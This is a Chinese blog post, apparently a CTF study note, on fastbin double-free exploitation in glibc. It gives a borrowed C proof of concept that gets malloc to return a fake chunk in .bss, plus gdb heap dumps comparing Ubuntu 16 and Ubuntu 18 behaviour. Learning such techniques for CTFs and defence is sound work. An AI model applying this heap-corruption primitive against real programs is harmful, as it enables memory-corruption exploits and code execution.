double free——关于ubuntu16和ubuntu18的思考

fastbin里面是一些单链表,只能从一端插入和删除。
经理三次free之后的内存结构如图
这里写图片描述
chunk1和chunk2构成了一个环,可以利用这个环来设置chunk内容实现分配空间到需要的地方。

借用别人的利用代码。

typedef struct _chunk
{
    long long pre_size;
    long long size;
    long long fd;
    long long bk;  
} CHUNK,*PCHUNK;

CHUNK bss_chunk;

int main(void)
{
    void *chunk1,*chunk2,*chunk3;
    void *chunk_a,*chunk_b;

    bss_chunk.size=0x21;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);

    free(chunk1);
    free(chunk2);
    free(chunk1);

    chunk_a=malloc(0x10);
    *(long long *)chunk_a=&bss_chunk;
    malloc(0x10);
    malloc(0x10);
    chunk_b=malloc(0x10);
    printf("%p",chunk_b);
    return 0;
}

参考https://ctf-wiki.github.io/ctf-wiki/pwn/heap/fastbin_attack/

ubuntu16和18的利用差别:

double free之后

Ubuntu18
gef➤  x /20xg 0x0000000000aad260
0xaad260:   0x0000000000000000  0x0000000000000041
0xaad270:   0x0000000000aad2b0  0x6161616161616161
0xaad280:   0x6161616161616161  0x6161616161616161
0xaad290:   0x6161616161616161  0x6161616161616161
0xaad2a0:   0x0000000000000000  0x0000000000000041
0xaad2b0:   0x0000000000aad270  0x6262626262626262 指向前一个chunk数据开始
0xaad2c0:   0x6262626262626262  0x6262626262626262
0xaad2d0:   0x6262626262626262  0x6262626262626262
0xaad2e0:   0x0000000000000000  0x000000000001fd21
0xaad2f0:   0x0000000000000000  0x0000000000000000
Ubuntu16
gef➤  x /20xg 0x00000000023ee010
0x23ee010:  0x0000000000000000  0x0000000000000041
0x23ee020:  0x00000000023ee050  0x6161616161616161
0x23ee030:  0x6161616161616161  0x6161616161616161
0x23ee040:  0x6161616161616161  0x6161616161616161
0x23ee050:  0x0000000000000000  0x0000000000000041
0x23ee060:  0x00000000023ee010  0x6262626262626262  指向前一个chunk开始
0x23ee070:  0x6262626262626262  0x6262626262626262
0x23ee080:  0x6262626262626262  0x6262626262626262
0x23ee090:  0x0000000000000000  0x0000000000020f71
0x23ee0a0:  0x0000000000000000  0x0000000000000000

chunk位置相同但是指向的位置不同。
18指向的是前一个chunk数据部分的开始。
16指向的是前一个chunk的开始。

另一点不同就是对size的检测机制不同,18好像是不进行检测的。但是16会进行严格的检测。
不过所谓的检测的size是占4个字节64位系统size同样是占4个字节。
具体例子今后补充。。。。。。。。。。。。。

猜你喜欢

转载自blog.csdn.net/qq_38204481/article/details/81515378